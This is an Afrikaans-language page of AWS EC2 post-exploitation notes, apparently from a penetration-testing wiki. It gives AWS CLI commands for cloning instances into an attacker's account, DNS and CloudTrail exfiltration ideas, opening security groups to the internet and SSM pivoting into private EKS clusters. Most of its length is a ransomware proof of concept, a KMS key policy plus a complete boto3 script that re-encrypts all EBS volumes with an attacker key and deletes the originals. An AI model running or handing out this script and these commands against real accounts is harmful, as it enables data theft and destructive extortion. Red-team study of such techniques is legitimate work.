VPC-verkeer spieëling dubbel die inkomende en uitgaande verkeer vir EC2-instances binne 'n VPC sonder die behoefte om enigiets op die instances self te installeer. Hierdie gedupliseerde verkeer sou gewoonlik na iets soos 'n netwerk indringing opsporingstelsel (IDS) gestuur word vir analise en monitering.
'n Aanvaller kan dit misbruik om al die verkeer te vang en sensitiewe inligting daaruit te verkry:
Vir meer inligting, kyk hierdie bladsy:
Kopieer Loopende Instansie
Instansies bevat gewoonlik 'n soort sensitiewe inligting. Daar is verskillende maniere om binne te kom (kyk EC2 voorregte eskalasie truuks). 'n Ander manier om te kyk wat dit bevat, is om 'n AMI te skep en 'n nuwe instansie (selfs in jou eie rekening) daaruit te laat loop:
# List instancesawsec2describe-images# create a new image for the instance-idawsec2create-image--instance-idi-0438b003d81cd7ec5--name"AWS Audit"--description"Export AMI"--regioneu-west-1# add key to AWSawsec2import-key-pair--key-name"AWS Audit"--public-key-materialfile://~/.ssh/id_rsa.pub--regioneu-west-1# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.awsec2run-instances--image-idami-0b77e2d906b00202d--security-group-ids"sg-6d0d7f01"--subnet-idsubnet-9eb001ea--count1--instance-typet2.micro--key-name"AWS Audit"--query"Instances[0].InstanceId"--regioneu-west-1# now you can check the instanceawsec2describe-instances--instance-idsi-0546910a0c18725a1# If needed : edit groupsawsec2modify-instance-attribute--instance-id"i-0546910a0c18725a1"--groups"sg-6d0d7f01"--regioneu-west-1# be a good guy, clean our instance to avoid any useless costawsec2stop-instances--instance-id"i-0546910a0c18725a1"--regioneu-west-1awsec2terminate-instances--instance-id"i-0546910a0c18725a1"--regioneu-west-1
EBS Snapshot dump
Snapshots is rugsteun van volumes, wat gewoonlik sensitiewe inligting sal bevat, daarom behoort die nagaan daarvan hierdie inligting te openbaar.
As jy 'n volume sonder 'n snapshot vind, kan jy: Skep 'n snapshot en die volgende aksies uitvoer of net monteer dit in 'n instansie binne die rekening:
Data Exfiltration
DNS Exfiltration
Selfs as jy 'n EC2 sluit sodat geen verkeer kan uitgaan nie, kan dit steeds exfil via DNS.
VPC Flow Logs sal dit nie opteken nie.
Jy het geen toegang tot AWS DNS logs nie.
Deaktiveer dit deur "enableDnsSupport" op vals te stel met:
'n Aanvaller kan API eindpunte van 'n rekening wat deur hom beheer word, aanroep. Cloudtrail sal hierdie oproepe opteken en die aanvaller sal in staat wees om die exfiltreer data in die Cloudtrail logs te sien.
Open Security Group
Jy kan verdere toegang tot netwerkdienste verkry deur poorte soos volg te open:
awsec2authorize-security-group-ingress--group-id<sg-id>--protocoltcp--port80--cidr0.0.0.0/0# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
Privesc na ECS
Dit is moontlik om 'n EC2-instantie te draai en dit te registreer om gebruik te word om ECS-instanties te draai en dan die ECS-instanties se data te steel.
Benewens opdraguitvoering, laat SSM vir verkeers-tunneling wat misbruik kan word om te pivot van EC2-instanties wat nie netwerktoegang het nie weens Veiligheidsgroepe of NACLs. Een van die scenario's waar dit nuttig is, is om te pivot van 'n Bastion Host na 'n private EKS-kluster.
Om 'n sessie te begin, moet jy die SessionManagerPlugin geïnstalleer hê: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
Installeer die SessionManagerPlugin op jou masjien
Meld aan by die Bastion EC2 met die volgende opdrag:
Die verkeer van die kubectl hulpmiddel word nou deur die SSM-tonnel via die Bastion EC2 gestuur en jy kan die private EKS-kluster vanaf jou eie masjien toegang verkry deur die volgende uit te voer:
kubectlgetpods--insecure-skip-tls-verify
Let wel dat die SSL-verbindinge sal misluk tensy jy die --insecure-skip-tls-verify vlag (of sy ekwivalent in K8s oudit gereedskap) stel. Aangesien die verkeer deur die veilige AWS SSM-tonnel getunnel word, is jy veilig teen enige vorm van MitM-aanvalle.
Laastens, hierdie tegniek is nie spesifiek vir die aanval op private EKS-klusters nie. Jy kan arbitrêre domeine en poorte stel om na enige ander AWS-diens of 'n pasgemaakte toepassing te pivot.
Soek sensitiewe inligting in openbare en private AMIs
https://github.com/saw-your-packet/CloudShovel: CloudShovel is 'n hulpmiddel wat ontwerp is om sensitiewe inligting binne openbare of private Amazon Machine Images (AMIs) te soek. Dit outomatiseer die proses om instansies van teiken AMIs te begin, hul volumes te monteer, en te skandeer vir potensiële geheime of sensitiewe data.
'n Bewys van konsep soortgelyk aan die Ransomware demonstrasie wat in die S3 post-exploitation notas gedemonstreer is. KMS moet hernoem word na RMS vir Ransomware Bestuurdiens met hoe maklik dit is om verskeie AWS dienste te enkripteer deur dit te gebruik.
Eerstens, vanaf 'n 'aanvaller' AWS rekening, skep 'n kliënt bestuurde sleutel in KMS. Vir hierdie voorbeeld sal ons net hê dat AWS die sleuteldata vir my bestuur, maar in 'n realistiese scenario sou 'n kwaadwillige akteur die sleuteldata buite AWS se beheer behou. Verander die sleutelbeleid om enige AWS rekening Hoof te laat toe om die sleutel te gebruik. Vir hierdie sleutelbeleid was die rekening se naam 'AttackSim' en die beleidsreël wat alle toegang toelaat, word 'Buite Enkripsie' genoem.
Die sleutelbeleid reël moet die volgende geaktiveer hê om die vermoë te laat gebruik om 'n EBS volume te enkripteer:
kms:CreateGrant
kms:Decrypt
kms:DescribeKey
kms:GenerateDataKeyWithoutPlainText
kms:ReEncrypt
Nou met die publiek toeganklike sleutel om te gebruik. Ons kan 'n 'slagoffer' rekening gebruik wat 'n paar EC2 instansies het met nie-geënkripteerde EBS volumes aangeheg. Hierdie 'slagoffer' rekening se EBS volumes is wat ons teiken vir enkripsie, hierdie aanval is onder die veronderstelde oortreding van 'n hoë-bevoegdheid AWS rekening.
Dit lei tot slegs geënkripteerde EBS volumes wat beskikbaar is in die rekening.
Ook die moeite werd om te noem, die skrip het die EC2 instansies gestop om die oorspronklike EBS volumes af te haal en te verwyder. Die oorspronklike nie-geënkripteerde volumes is nou weg.
Volgende, keer terug na die sleutelbeleid in die 'aanvaller' rekening en verwyder die 'Buitelandse Enkripsie' beleid reël uit die sleutelbeleid.
{"Version":"2012-10-17","Id":"key-consolepolicy-3","Statement": [{"Sid":"Enable IAM User Permissions","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:root"},"Action":"kms:*","Resource":"*"},{"Sid":"Allow access for Key Administrators","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:Create*","kms:Describe*","kms:Enable*","kms:List*","kms:Put*","kms:Update*","kms:Revoke*","kms:Disable*","kms:Get*","kms:Delete*","kms:TagResource","kms:UntagResource","kms:ScheduleKeyDeletion","kms:CancelKeyDeletion"],"Resource":"*"},{"Sid":"Allow use of the key","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:Encrypt","kms:Decrypt","kms:ReEncrypt*","kms:GenerateDataKey*","kms:DescribeKey"],"Resource":"*"},{"Sid":"Allow attachment of persistent resources","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:CreateGrant","kms:ListGrants","kms:RevokeGrant"],"Resource":"*","Condition": {"Bool": {"kms:GrantIsForAWSResource":"true"}}}]}
Wag 'n oomblik vir die nuut ingestelde sleutelbeleid om te versprei. Keer dan terug na die 'slagoffer' rekening en probeer om een van die nuut versleutelde EBS volumes aan te sluit. Jy sal vind dat jy die volume kan aanheg.
Maar wanneer jy probeer om die EC2 instansie weer op te start met die versleutelde EBS volume, sal dit net misluk en van die 'pending' toestand teruggaan na die 'stopped' toestand vir altyd, aangesien die aangehegte EBS volume nie ontsleuteld kan word met die sleutel nie, omdat die sleutelbeleid dit nie meer toelaat nie.
Dit is die python skrip wat gebruik word. Dit neem AWS krediete vir 'n slagoffer' rekening en 'n publiek beskikbare AWS ARN waarde vir die sleutel wat gebruik gaan word vir versleuteling. Die skrip sal versleutelde kopieë van ALLE beskikbare EBS volumes wat aan ALLE EC2 instansies in die geteikende AWS rekening geheg is, maak, dan elke EC2 instansie stop, die oorspronklike EBS volumes ontkoppel, dit verwyder, en uiteindelik al die snappings wat tydens die proses gebruik is, verwyder. Dit sal slegs versleutelde EBS volumes in die geteikende 'slagoffer' rekening laat. GEBRUIK DIT SLEGS IN 'N TOETSOMGEWING, DIT IS DESTRUKTIEF EN SAL AL DIE OORSPRONKLIKE EBS VOLUMES VERWYDER. Jy kan hulle herstel met die gebruikte KMS sleutel en hulle na hul oorspronklike toestand herstel via snappings, maar ek wil jou net bewus maak dat dit 'n ransomware PoC aan die einde van die dag is.
import boto3
import argparse
from botocore.exceptions import ClientError
def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes
def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids
def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])
def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']
volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids
def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']
if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")
except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")
def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")
def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")
def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)
def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed
def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()
def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)
if __name__ == "__main__":
main()
Soos in die S3 ransomware voorbeeld. Hierdie aanval sal kopieë van die aangehegte EBS volumes skep met behulp van snapshots, die publiek beskikbare sleutel van die 'aanvaller' rekening gebruik om die nuwe EBS volumes te enkripteer, dan die oorspronklike EBS volumes van die EC2 instansies af te haal en hulle te verwyder, en dan uiteindelik die snapshots wat gebruik is om die nuut geënkripteerde EBS volumes te skep, te verwyder.